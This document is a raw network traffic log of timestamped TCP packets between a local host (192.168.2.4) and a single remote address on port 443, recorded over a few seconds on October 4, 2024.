Oct 4, 2024 09:53:30.523797035 CEST	57228	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.523819923 CEST	443	57228	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.523833036 CEST	57228	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.523839951 CEST	443	57228	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.526737928 CEST	57233	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.526825905 CEST	443	57233	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.526911020 CEST	57233	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.527062893 CEST	57233	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.527085066 CEST	443	57233	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.558109045 CEST	443	57230	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.558259964 CEST	443	57230	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.558485985 CEST	57230	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.558485985 CEST	57230	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.558485985 CEST	57230	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.560374022 CEST	57234	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.560425043 CEST	443	57234	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.560514927 CEST	57234	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.560633898 CEST	57234	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.560651064 CEST	443	57234	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.569322109 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.569804907 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.569863081 CEST	57229	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.569888115 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.569911003 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.569960117 CEST	57229	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.569983959 CEST	57229	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.569997072 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.570004940 CEST	57229	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.570008993 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.571841955 CEST	57235	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.571928024 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.572000027 CEST	57235	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.572112083 CEST	57235	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.572134018 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.592717886 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.592782974 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.592832088 CEST	57231	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.592844963 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.592909098 CEST	57231	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.592910051 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.592917919 CEST	57231	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.592953920 CEST	57231	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.592953920 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.592971087 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.594850063 CEST	57236	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.594909906 CEST	443	57236	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.594974041 CEST	57236	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.595124960 CEST	57236	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.595144033 CEST	443	57236	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.868091106 CEST	57230	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.868120909 CEST	443	57230	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.014483929 CEST	443	57232	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.015055895 CEST	57232	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.015111923 CEST	443	57232	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.015505075 CEST	57232	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.015521049 CEST	443	57232	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.117257118 CEST	443	57232	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.117413044 CEST	443	57232	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.117481947 CEST	57232	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.117573977 CEST	57232	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.117619991 CEST	443	57232	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.117649078 CEST	57232	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.117665052 CEST	443	57232	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.120497942 CEST	57237	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.120594978 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.120695114 CEST	57237	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.120810032 CEST	57237	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.120846987 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.189460993 CEST	443	57233	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.190068007 CEST	57233	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.190129042 CEST	443	57233	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.190462112 CEST	57233	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.190478086 CEST	443	57233	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.218625069 CEST	443	57234	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.219008923 CEST	57234	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.219042063 CEST	443	57234	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.219399929 CEST	57234	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.219412088 CEST	443	57234	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.252065897 CEST	443	57236	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.254282951 CEST	57236	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.254324913 CEST	443	57236	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.254690886 CEST	57236	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.254729033 CEST	443	57236	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.260292053 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.280087948 CEST	57235	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.280164957 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.280445099 CEST	57235	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.280461073 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.288230896 CEST	443	57233	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.288655043 CEST	443	57233	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.288742065 CEST	57233	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.288798094 CEST	57233	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.288836956 CEST	443	57233	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.288862944 CEST	57233	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.288877964 CEST	443	57233	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.291342020 CEST	57238	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.291430950 CEST	443	57238	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.291526079 CEST	57238	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.291621923 CEST	57238	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.291647911 CEST	443	57238	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.321293116 CEST	443	57234	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.321490049 CEST	443	57234	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.321610928 CEST	57234	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.334953070 CEST	57234	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.334953070 CEST	57234	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.334976912 CEST	443	57234	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.334996939 CEST	443	57234	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.352389097 CEST	57239	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.352475882 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.352555037 CEST	57239	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.352830887 CEST	443	57236	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.353082895 CEST	443	57236	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.353137016 CEST	57236	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.381648064 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.381716013 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.381815910 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.381875038 CEST	57235	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.382687092 CEST	57235	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.412430048 CEST	57239	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.412466049 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.429563999 CEST	57236	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.429563999 CEST	57236	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.429594040 CEST	443	57236	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.429621935 CEST	443	57236	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.489631891 CEST	57235	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.489686966 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.489733934 CEST	57235	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.489753962 CEST	443	57235	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.516417980 CEST	57240	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.516473055 CEST	443	57240	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.516536951 CEST	57240	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.516964912 CEST	57241	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.517007113 CEST	443	57241	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.517060041 CEST	57241	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.527081966 CEST	57240	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.527110100 CEST	443	57240	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.527658939 CEST	57241	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.527673960 CEST	443	57241	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.791548967 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.791996002 CEST	57237	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.792030096 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.792397976 CEST	57237	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.792403936 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.895817995 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.895889044 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.895967960 CEST	57237	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.895979881 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.896009922 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.896066904 CEST	57237	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.896229982 CEST	57237	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.896249056 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.896286964 CEST	57237	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.896294117 CEST	443	57237	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.898735046 CEST	57242	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.898766994 CEST	443	57242	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.898838043 CEST	57242	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.899112940 CEST	57242	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.899126053 CEST	443	57242	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.931229115 CEST	443	57238	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.931688070 CEST	57238	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.931709051 CEST	443	57238	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:31.932096958 CEST	57238	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:31.932101011 CEST	443	57238	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.035367012 CEST	443	57238	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.035464048 CEST	443	57238	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.035545111 CEST	57238	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.035666943 CEST	57238	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.035703897 CEST	443	57238	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.035722017 CEST	57238	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.035729885 CEST	443	57238	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.038058996 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.038111925 CEST	443	57243	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.038183928 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.038311958 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.038326025 CEST	443	57243	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.057893038 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.060259104 CEST	57239	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.060323000 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.060632944 CEST	57239	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.060647964 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.326016903 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.326086044 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.326133013 CEST	57239	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.326186895 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.326220036 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.326324940 CEST	57239	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.326443911 CEST	57239	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.326479912 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.326503992 CEST	57239	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.326519012 CEST	443	57239	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.328885078 CEST	57244	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.328943968 CEST	443	57244	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.329016924 CEST	57244	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.329138041 CEST	57244	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.329149961 CEST	443	57244	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.338424921 CEST	443	57241	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.338469028 CEST	443	57240	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.338777065 CEST	57241	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.338798046 CEST	443	57241	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.338855028 CEST	57240	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.338877916 CEST	443	57240	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.339204073 CEST	57241	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.339221001 CEST	443	57241	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.339251041 CEST	57240	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.339257956 CEST	443	57240	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.436974049 CEST	443	57241	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.437123060 CEST	443	57241	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.437216043 CEST	57241	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.437438011 CEST	57241	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.437438011 CEST	57241	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.437455893 CEST	443	57241	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.437463999 CEST	443	57241	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.440201044 CEST	57245	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.440293074 CEST	443	57245	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.440390110 CEST	57245	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.440555096 CEST	57245	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.440573931 CEST	443	57245	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.440998077 CEST	443	57240	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.441162109 CEST	443	57240	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.441226006 CEST	57240	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.441265106 CEST	57240	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.441282034 CEST	443	57240	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.441293001 CEST	57240	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.441299915 CEST	443	57240	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.443062067 CEST	57246	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.443084955 CEST	443	57246	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.443159103 CEST	57246	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.443253994 CEST	57246	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.443284988 CEST	443	57246	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.557477951 CEST	443	57242	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.558023930 CEST	57242	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.558041096 CEST	443	57242	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.558448076 CEST	57242	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.558451891 CEST	443	57242	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.658191919 CEST	443	57242	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.658377886 CEST	443	57242	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.658493042 CEST	57242	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.658584118 CEST	57242	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.658598900 CEST	443	57242	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.658607006 CEST	57242	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.658612967 CEST	443	57242	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.661603928 CEST	57247	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.661663055 CEST	443	57247	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.661756992 CEST	57247	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.661936045 CEST	57247	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.661945105 CEST	443	57247	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.716485023 CEST	443	57243	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.717048883 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.717072964 CEST	443	57243	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.717354059 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.717360973 CEST	443	57243	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.825418949 CEST	443	57243	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.825766087 CEST	443	57243	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.825819969 CEST	443	57243	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.825921059 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.825921059 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.825921059 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.825921059 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.828419924 CEST	57248	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.828475952 CEST	443	57248	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.828562021 CEST	57248	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.828701019 CEST	57248	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.828717947 CEST	443	57248	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.979338884 CEST	443	57244	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.979734898 CEST	57244	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.979757071 CEST	443	57244	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:32.980235100 CEST	57244	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:32.980241060 CEST	443	57244	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.055583000 CEST	57243	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.055603981 CEST	443	57243	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.079511881 CEST	443	57244	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.080526114 CEST	443	57244	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.080740929 CEST	57244	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.080785990 CEST	57244	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.080811977 CEST	443	57244	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.080826044 CEST	57244	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.080832958 CEST	443	57244	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.081264019 CEST	443	57245	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.081675053 CEST	57245	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.081715107 CEST	443	57245	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.082113028 CEST	57245	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.082118988 CEST	443	57245	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.083090067 CEST	57249	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.083125114 CEST	443	57249	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.083197117 CEST	57249	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.083304882 CEST	57249	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.083314896 CEST	443	57249	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.090487957 CEST	443	57246	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.090787888 CEST	57246	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.090802908 CEST	443	57246	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.091130972 CEST	57246	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.091140032 CEST	443	57246	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.187699080 CEST	443	57245	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.187834978 CEST	443	57245	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.188046932 CEST	57245	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.188046932 CEST	57245	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.188046932 CEST	57245	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.190177917 CEST	57250	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.190246105 CEST	443	57250	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.190329075 CEST	57250	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.190438032 CEST	57250	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.190459967 CEST	443	57250	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.197253942 CEST	443	57246	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.197403908 CEST	443	57246	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.197477102 CEST	57246	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.197509050 CEST	57246	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.197531939 CEST	443	57246	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.197555065 CEST	57246	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.197567940 CEST	443	57246	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.199210882 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.199270964 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.199338913 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.199438095 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.199449062 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.350960970 CEST	443	57247	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.351464987 CEST	57247	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.351511002 CEST	443	57247	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.351880074 CEST	57247	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.351886988 CEST	443	57247	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.454888105 CEST	443	57247	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.455326080 CEST	443	57247	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.455414057 CEST	57247	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.455696106 CEST	57247	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.455696106 CEST	57247	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.455744028 CEST	443	57247	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.455780983 CEST	443	57247	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.458530903 CEST	57252	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.458573103 CEST	443	57252	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.458633900 CEST	57252	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.458775997 CEST	57252	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.458790064 CEST	443	57252	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.473092079 CEST	443	57248	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.473437071 CEST	57248	443	192.168.2.4	13.107.246.45
